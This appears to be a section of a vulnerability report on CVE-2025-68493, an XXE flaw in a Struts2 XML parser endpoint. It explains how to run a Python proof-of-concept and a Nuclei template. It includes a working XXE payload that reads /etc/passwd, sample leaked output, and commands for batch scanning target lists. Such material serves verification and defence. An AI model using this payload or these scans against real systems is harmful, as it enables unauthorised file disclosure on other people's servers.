8. Vulnerability Verification and Exploitation

To verify and exploit the CVE-2025-68493 vulnerability, you can use the following Python PoC script and Nuclei YAML template.

8.1 Python PoC Script Usage

Script Name: cve_2025_68493_poc.py

Functionality: This script is used to verify the vulnerability on a single target, attempting to read a specified file (default is /etc/passwd).

Prerequisites:

• Python 3 environment
• requests library (pip install requests)

Command Line Arguments:

• -u, --url: Base URL of the target application (e.g., http://127.0.0.1:8080)
• -f, --file: Path of the target file to attempt to read (default is /etc/passwd)

Example:

python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd

Expected Output:

If the target is vulnerable and the file is successfully read, the output will be similar to the following:

[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: <?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
[+] Vulnerable! Successfully read /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
----------------------------------------

8.2 Nuclei YAML Template Usage

Template Name: cve-2025-68493.yaml

Functionality: This template is used to perform batch scanning of multiple targets using the Nuclei tool to detect the CVE-2025-68493 vulnerability.

Prerequisites:

• Nuclei tool installed (recommended v3.x or later)

Command Line Arguments:

• -t: Path to the Nuclei template file
• -u: Single target URL
• -l: File containing multiple target URLs

Example:

Scan a Single Target:

nuclei -t cve-2025-68493.yaml -u http://example.com:8080

Batch Scan:

Suppose you have a file named targets.txt where each line contains a target URL:

http://target1.com:8080
http://target2.com:8080

Execute the following command for batch scanning:

nuclei -t cve-2025-68493.yaml -l targets.txt
